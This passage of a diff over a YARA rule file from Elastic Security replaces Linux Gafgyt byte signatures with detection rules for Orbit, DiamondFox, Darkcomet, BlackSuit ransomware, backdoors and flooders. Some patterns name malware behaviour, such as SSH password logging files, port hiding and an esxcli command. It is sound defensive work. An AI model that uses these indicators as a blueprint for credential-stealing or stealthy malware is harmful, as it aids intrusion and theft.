 		tags = "FILE, MEMORY"
-		fingerprint = "e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac"
+		fingerprint = "ff15cec5eb41bb9637b570d717151cdc076e88a7b4c3d1c31157d41fe7569318"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0 }
+		$hash_1 = { 8B CB 41 8B D0 D3 E2 41 8B CB D3 E0 03 D0 41 0F BE ?? 03 D0 41 2B D0 49 FF ( C1 | C2 ) }
+		$hash_2 = { 44 8B ?? 44 8B ?? 41 8B CB 41 D3 ?? 8B CB D3 E0 8B C8 8D 42 ?? 66 83 F8 ?? 0F B7 C2 77 ?? 83 C0 ?? 41 2B ?? 41 03 ?? 03 C1 49 83 ?? ?? 41 0F B7 }
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_D0C57A2E : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Orbit_57C23178 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Trojan Orbit (Linux.Trojan.Orbit)"
 		author = "Elastic Security"
-		id = "d0c57a2e-c10c-436c-be13-50a269326cf2"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "57c23178-1345-47b7-97b1-aa2075d9d69d"
+		date = "2022-07-20"
+		modified = "2022-08-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L674-L691"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "2ac51f0943d573fdc9a39837aeefd9158c27a4b3f35fbbb0a058a88392a53c14"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Orbit.yar#L1-L40"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "40b5127c8cf9d6bec4dbeb61ba766a95c7b2d0cafafcb82ede5a3a679a3e3020"
+		logic_hash = "25b29e874ea9d400662418ddbb1c995a5a5b49f8ba6f51f59f7aa57cdda74054"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "3ee7d3a33575ed3aa7431489a8fb18bf30cfd5d6c776066ab2a27f93303124b6"
+		fingerprint = "0bb1c74f872ea8778a442aafc2c6f3f04e331b7f743ba726257e36b09ef33da4"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -102374,56 +106878,82 @@ rule ELASTIC_Linux_Trojan_Gafgyt_D0C57A2E : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 07 0F B6 57 01 C1 E0 08 09 D0 89 06 0F BE 47 02 C1 E8 1F 89 }
+		$loaderstrings0 = "shred"
+		$loaderstrings1 = "newpath" fullword
+		$loaderstrings2 = "shm update" fullword
+		$loaderstrings3 = "cp -p %s /dev/shm/ldx/.backup_ld.so" fullword
+		$loaderstrings4 = "/dev/shm/ldx/libdl.so\n" fullword
+		$loaderstrings5 = "oldpath: %s newpath: %s\n" fullword
+		$loaderstrings6 = "can't locate oldpath" fullword
+		$loaderstrings7 = "specify dir" fullword
+		$loaderstrings8 = "/sshpass.txt"
+		$loaderstrings9 = "/sshpass2.txt"
+		$loaderstrings10 = "/.logpam"
+		$loaderstrings11 = "/.boot.sh"
+		$tmppath = "/tmp/.orbit" fullword
+		$functionName0 = "tcp_port_hidden" fullword
+		$functionName1 = "clean_ports" fullword
+		$functionName2 = "remove_port" fullword
+		$execvStrings0 = "[%s] [%s] [BLOCKED] %s " fullword
+		$execvStrings1 = "[%s] [%s] %s " fullword
+		$execvStrings2 = "%m-%d %H:%M:%S" fullword
+		$pam_log_password = { 8B 45 F8 48 98 C6 84 05 F0 FE FF FF 00 48 8D 85 F0 FE FF FF B9 A4 01 00 00 BA 42 04 00 00 48 89 C6 BF 02 00 00 00 B8 00 00 00 00 E8 B6 C2 FE FF 89 45 F4 48 8B 8D E0 FE FF FF 48 8B 95 E8 FE FF FF 48 8D 85 F0 FE FF FF }
+		$load_hidden_ports = { 48 8B 45 ?? BE 0A 00 00 00 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 83 7D ?? 00 75 }
+		$hosts_access = { 8B 45 ?? 48 98 C6 84 05 D0 EF FF FF 00 48 8B 05 ?? ?? ?? ?? 48 8B 80 ?? ?? 00 00 48 8B 95 C8 EF FF FF 48 89 D7 FF D0 89 45 ?? 48 8D 85 D0 EF FF FF 48 89 45 ?? EB }
 
 	condition:
-		all of them
+		7 of ($loaderstrings*) or ( all of ($functionName*) and $tmppath and all of ($execvStrings*)) or 2 of ($pam_log_password,$load_hidden_ports,$hosts_access)
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_751Acb94 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Diamondfox_18Bc11E3 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Windows Trojan Diamondfox (Windows.Trojan.DiamondFox)"
 		author = "Elastic Security"
-		id = "751acb94-cb23-4949-a4dd-87985c47379e"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "18bc11e3-5872-40b0-a3b7-cef4b32fac15"
+		date = "2022-03-02"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L693-L710"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "1963351d209168f4ae2268d245cfd5320e4442d00746d021088ffae98e5da454"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_DiamondFox.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a44c46d4b9cf1254aaabd1e689f84c4d2c3dd213597f827acabface03a1ae6d1"
+		logic_hash = "c64e4b3349b33cfd0fec1fe41f91ad819bb6b6751e822d7ab8d14638ad27571d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "dbdfdb455868332e9fbadd36c084d0927a3dd8ab844f0b1866e914914084cd4b"
+		fingerprint = "6f908d11220e218a7b59239ff3cc00c7e273fb46ec99ef7ae37e4aceb4de7831"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 20 54 6F 20 43 6F 6E 6E 65 63 74 21 20 00 53 75 63 63 65 73 66 }
+		$a1 = "\\wscript.vbs" wide fullword
+		$a2 = "\\snapshot.jpg" wide fullword
+		$a3 = "&soft=" wide fullword
+		$a4 = "ping -n 4 127.0.0.1 > nul" wide fullword
+		$a5 = "Select Name from Win32_Process Where Name = '" wide fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_656Bf077 : FILE MEMORY
+rule ELASTIC_Linux_Backdoor_Generic_Babf9101 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Backdoor Generic (Linux.Backdoor.Generic)"
 		author = "Elastic Security"
-		id = "656bf077-ca0c-4d28-9daa-eb6baafaf467"
-		date = "2021-01-12"
+		id = "babf9101-1e6e-4268-a530-e99e2c905b0d"
+		date = "2021-04-06"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L712-L730"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6"
-		logic_hash = "0c9728304e720eb2cd00afad8d16f309514473dece48fa94af6a72ca41705a36"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Backdoor_Generic.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9ea73d2c2a5f480ae343846e2b6dd791937577cb2b3d8358f5b6ede8f3696b86"
+		logic_hash = "40084f3bed66c1d4a1cd2ffca99fd6789c8ed2db04031e4d4a4926b41d622355"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3ea8ed60190198d5887bb7093975d648a9fd78234827d648a8258008c965b1c1"
+		fingerprint = "a578b052910962523f26f14f0d0494481fe0777c01d9f6816c7ab53083a47adc"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -102431,28 +106961,28 @@ rule ELASTIC_Linux_Trojan_Gafgyt_656Bf077 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 74 28 48 8B 45 E8 0F B6 00 84 C0 74 14 48 8B 75 E8 48 FF C6 48 8B }
+		$a = { C4 10 89 45 F4 83 7D F4 00 79 1F 83 EC 0C 68 22 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_E6D75E6F : FILE MEMORY
+rule ELASTIC_Linux_Backdoor_Generic_5776Ae49 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Backdoor Generic (Linux.Backdoor.Generic)"
 		author = "Elastic Security"
-		id = "e6d75e6f-aa04-4767-8730-6909958044a7"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "5776ae49-64e9-46a0-a0bb-b0226eb9a8bd"
+		date = "2021-04-06"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L732-L750"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "48b15093f33c18778724c48c34199a420be4beb0d794e36034097806e1521eb8"
-		logic_hash = "339dd33a3313a4a94d2515cd4c2100ac6b9d5e0029881494c28dc3e7c8a05798"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Backdoor_Generic.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e247a5decb5184fd5dee0d209018e402c053f4a950dae23be59b71c082eb910c"
+		logic_hash = "b606f12c47182d80e07f8715639c3cc73753274bd8833cb9f6380879356a2b12"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e99805e8917d6526031270b6da5c2f3cc1c8235fed1d47134835a107d0df497c"
+		fingerprint = "2d36fbe1820805c8fd41b2b34a2a2b950fc003ae4f177042dc0d2568925c5b76"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -102460,57 +106990,61 @@ rule ELASTIC_Linux_Trojan_Gafgyt_E6D75E6F : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 00 00 00 CD 80 C3 8B 54 24 04 8B 4C 24 08 87 D3 B8 5B 00 00 00 }
+		$a = { 18 C1 E8 08 88 47 12 8B 46 18 88 47 13 83 C4 1C 5B 5E 5F 5D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_7167D08F : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Darkcomet_1Df27Bcc : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Windows Trojan Darkcomet (Windows.Trojan.Darkcomet)"
 		author = "Elastic Security"
-		id = "7167d08f-bfeb-4d78-9783-3a1df2ef0ed3"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "1df27bcc-9f18-48d4-bd7f-73bdc7cb1e63"
+		date = "2021-08-16"
+		modified = "2021-10-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L752-L770"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68"
-		logic_hash = "88c07bf06801192f38ef66229a0aa5c1ef6242caeb080ce1c7cd13ad0d540c82"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Darkcomet.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7fbe87545eef49da0df850719536bb30b196f7ad2d5a34ee795c01381ffda569"
+		logic_hash = "5886e3316839e64f934a0e84d85074e076f3e1e44f86fee35a87eb560bfa2aa7"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b9df4ab322a2a329168f684b07b7b05ee3d03165c5b9050a4710eae7aeca6cd9"
+		fingerprint = "63b77999860534b71b7b4e7b3da9df175ccd0009f4c13215a59c6b83e0e95b3b"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 0C 8A 00 3C 2D 75 13 FF 45 0C C7 45 E4 01 00 00 00 EB 07 FF }
+		$a1 = "BTRESULTHTTP Flood|Http Flood task finished!|" ascii fullword
+		$a2 = "is now open!|" ascii fullword
+		$a3 = "ActiveOnlineKeylogger" ascii fullword
+		$a4 = "#BOT#RunPrompt" ascii fullword
+		$a5 = "GETMONITORS" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_27De1106 : FILE MEMORY
+rule ELASTIC_Linux_Ransomware_Blacksuit_9F53E7E5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Ransomware Blacksuit (Linux.Ransomware.BlackSuit)"
 		author = "Elastic Security"
-		id = "27de1106-497d-40a0-8fc4-929f7a927628"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "9f53e7e5-7177-4e17-ac12-9214c4deddf2"
+		date = "2023-07-27"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L772-L790"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "899c072730590003b98278bdda21c15ecaa2f49ad51e417ed59e88caf054a72d"
-		logic_hash = "4e266e1ae31d7d86866b112a04ca38c0a8185c18ebb10ac6497bbaa69f51b2fd"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Ransomware_BlackSuit.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1c849adcccad4643303297fb66bfe81c5536be39a87601d67664af1d14e02b9e"
+		logic_hash = "121e0139385cfef5dff394c4ea36d950314b00c6d7021cf2ca667ee942e74763"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE, MEMORY"
-		fingerprint = "9a747f0fc7ccc55f24f2654344484f643103da709270a45de4c1174d8e4101cc"
+		fingerprint = "34355cb1731fe6c8fa684a484943127f8fdf3814d45025e29bdf25a08b4890fd"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -102518,28 +107052,30 @@ rule ELASTIC_Linux_Trojan_Gafgyt_27De1106 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 0C 0F B6 00 84 C0 74 18 8B 45 0C 40 8B 55 08 42 89 44 24 04 89 }
+		$a1 = "esxcli vm process list > list_" fullword
+		$a2 = "Drop readme failed: %s(%d)" fullword
+		$a3 = "README.BlackSuit.txt" fullword
 
 	condition:
-		all of them
+		2 of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_148B91A2 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_825B6808 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "148b91a2-ed51-4c2d-9d15-6a48d9ea3e0a"
+		id = "825b6808-9b23-4a55-9f26-a34cab6ea92b"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L792-L810"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d5b2bde0749ff482dc2389971e2ac76c4b1e7b887208a538d5555f0fe6984825"
-		logic_hash = "1a974c0882c2d088c978a52e5b535807c86f117cf2f05c40c084e849b1849f5b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7db9a0760dd16e23cb299559a0e31a431b836a105d5309a9880fa4b821937659"
+		logic_hash = "f5f997d8401f1505e81072dcb0e24ad7a78f0b56133698b70d8dd93ef25ddaf3"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0f75090ed840f4601df4e43a2f49f2b32585213f3d86d19fb255d79c21086ba3"
+		fingerprint = "e2db86e614b9bc0de06daf626abe652cc6385cca8ba96a2f2e394cf82be7a29b"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -102547,28 +107083,28 @@ rule ELASTIC_Linux_Trojan_Gafgyt_148B91A2 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { C6 45 DB FC EB 04 C6 45 DB FE 0F B6 45 DB 88 45 FF 48 8D 75 FF 8B }
+		$a = { 10 83 EC 04 8B 45 E4 FF 70 0C 8D 45 E8 83 C0 04 50 8B 45 E4 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_20F5E74F : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_A44Ab8Cd : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "20f5e74f-9f94-431b-877c-9b0d78a1d4eb"
+		id = "a44ab8cd-c45e-4fe8-b96d-d4fe227f3107"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L812-L830"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9084b00f9bb71524987dc000fb2bc6f38e722e2be2832589ca4bb1671e852f5b"
-		logic_hash = "067f1c15961c1ddceecb490b338db9f5b8501d89b38e870edfa628d21527dc1c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4b2068a4a666b0279358b8eb4f480d2df4c518a8b4518d0d77c6687c3bff0a32"
+		logic_hash = "a0501f76aff532366292189d34a57844ba999748b94f349be2f391dfd96e2106"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "070fe0d678612b4ec8447a07ead0990a0abd908ce714388720e7fd7055bf1175"
+		fingerprint = "0d77547064aeca6714ede98df686011c139ca720a71bcac23e40b0c02d302d6a"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -102576,28 +107112,28 @@ rule ELASTIC_Linux_Trojan_Gafgyt_20F5E74F : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { D8 8B 45 D0 8B 04 D0 8D 50 01 83 EC 0C 8D 85 38 FF FF FF 50 8D 85 40 FF }
+		$a = { E0 03 48 89 45 A8 8B 45 BC 48 63 D0 48 83 EA 01 48 89 55 A0 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_1B2E2A3A : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_7026F674 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "1b2e2a3a-1302-41c7-be99-43edb5563294"
+		id = "7026f674-83b7-432b-9197-2d71abdb9579"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L832-L850"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "899c072730590003b98278bdda21c15ecaa2f49ad51e417ed59e88caf054a72d"
-		logic_hash = "6f40f868d20f0125721eb2a7934b356d69b695d4a558155a2ddcd0107d3f8c30"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b7a77ebb66664c54d01a57abed5bb034ef2933a9590b595bba0566938b099438"
+		logic_hash = "ec8ece1f922260f620fb30d82469f77a4d0239da536fc464fc37a3943cd6e463"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "6f24b67d0a6a4fc4e1cfea5a5414b82af1332a3e6074eb2178aee6b27702b407"
+		fingerprint = "acf93628ecbda544c6c5d88388ac85bb2755c71544a0980ee1b2854c6bdb7c77"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -102605,28 +107141,28 @@ rule ELASTIC_Linux_Trojan_Gafgyt_1B2E2A3A : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 83 7D 18 00 74 25 8B 45 1C 83 E0 02 85 C0 74 1B C7 44 24 04 2D 00 }
+		$a = { 08 1E 77 DA 00 43 6F 75 6C 64 20 6E 6F 74 20 6F 70 65 6E 20 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_620087B9 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_761Ad88E : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "620087b9-c87d-4752-89e8-ca1c16486b28"
+		id = "761ad88e-1667-4253-81f6-52c92e0ccd68"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L852-L870"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961"
-		logic_hash = "411451ea326498a25af8be5cd43fe0b98973af354706268c89828b88ece5e497"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L61-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1d88971f342e4bc4e6615e42080a3b6cec9f84912aa273c36fc46aaf86ff6771"
+		logic_hash = "2b0c64da713e2f8ff671cbe086638810bc02a983d42851e78c68a57bde9f023c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307"
+		fingerprint = "14e701abdef422dcde869a2278ec6e1fb7889dcd9681a224b29a00bcb365e391"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -102634,28 +107170,27 @@ rule ELASTIC_Linux_Trojan_Gafgyt_620087B9 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B }
+		$a = { 2E 31 36 38 2E 33 2E 31 30 30 00 43 6F 75 6C 64 20 6E 6F 74 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_Dd0D6173 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_B93655D3 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "dd0d6173-b863-45cf-9348-3375a4e624cf"
+		id = "b93655d3-1d3f-42f4-a47f-a69624e90da5"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L872-L890"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6"
-		logic_hash = "7061edef1981e2b93bcdd8be47c0f6067acc140a543eed748bf0513f182e0a59"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L81-L98"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "34cb06385543c6c2c562f757df2f641d8402e7c9f95fa924e17652a1c38d695f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "5e2cb111c2b712951b71166111d339724b4f52b93f90cb474f1e67598212605f"
+		fingerprint = "55119467cb5f9789b74064e63c1e7d905457b54f6e4da1a83c498313d6c90b5b"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -102663,28 +107198,28 @@ rule ELASTIC_Linux_Trojan_Gafgyt_Dd0D6173 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 55 F8 8B 45 F0 89 42 0C 48 8B 55 F8 8B 45 F4 89 42 10 C9 C3 55 48 }
+		$a = { C0 49 89 C5 74 45 45 85 F6 7E 28 48 89 C3 41 8D 46 FF 4D 8D 64 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_779E142F : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_Af9F75E6 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "779e142f-b867-46e6-b1fb-9105976f42fd"
+		id = "af9f75e6-9a9b-4e03-9c76-8c0c9f07c8b1"
 		date = "2021-01-12"
 		modified = "2021-09-16"
